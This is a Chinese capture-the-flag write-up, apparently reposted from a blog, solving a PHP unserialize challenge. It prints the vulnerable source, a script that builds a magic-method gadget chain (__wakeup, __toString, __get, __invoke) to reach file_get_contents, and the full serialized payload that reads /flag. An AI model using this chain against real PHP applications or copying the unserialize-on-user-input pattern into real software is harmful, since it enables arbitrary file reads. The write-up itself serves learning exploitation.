标签:encode code 实现 ring title invoke 攻击 ber isset
进去就一句话
I think you need /etc/hint . Before this you need to see the source code
看了看源码,看了看请求和响应,啥也没看出来
老规矩,上dirsearch
一个www.zip的备份文件,下载下来后里面有一个index.php的源码文件,源码如下:
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);
class Start
{
public $name=‘guest‘;
public $flag=‘syst3m("cat 127.0.0.1/etc/hint");‘;
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;
return ‘ok‘;
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise=‘I do‘;
public function __construct(){
$this->promise=‘I will not !!!!‘;
return $this->promise;
}
public function __toString(){
return $this->file[‘filename‘]->ffiillee[‘ffiilleennaammee‘];
}
}
class Room
{
public $filename=‘/flag‘;
public $sth_to_set;
public $a=‘‘;
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET[‘hello‘])){
unserialize($_GET[‘hello‘]);
}else{
$hi = new Start();
}
?>
从代码中很容易的可以看出,给‘hello‘传参,然后进行序列化攻击。
现在问题来了,代码中一共有3个类,我们需要从哪一个类开始下手呢?
通过对魔法方法和序列化的的学习,我们只能从Start这个类开始下手,当对这个该类进行反序列化时,会自动执行wakeup()方法,而这3个类中只有Start类存在这个方法
再继续观察发现,我们最终需要达到的目的地是Room类的Get_hint()方法
构造payload:
<?php
include "index.php";
$a = new Start(); // __wakeup()进入,
$a->name = new Info(); // Info的__toString()进入
$a->name->file["filename"] = new Room(); // Room的__get()进入
$a->name->file["filename"]->a= new Room(); // Room的__invoke()进入
echo "<br>";
echo serialize($a);
?>
?hello=O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"%00Info%00phonenumber";i:123123;s:7:"promise";s:15:"I will not !!!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}
PS:利用了魔法方法的特性成功进行了序列化攻击,实现了在一个类跳转到另一个类并执行方法!
base64解密得:
flag{668c5887-b4ae-4853-a3b4-e50e9c9e1b3e}
标签:encode code 实现 ring title invoke 攻击 ber isset
原文地址:https://www.cnblogs.com/seizer/p/14883148.html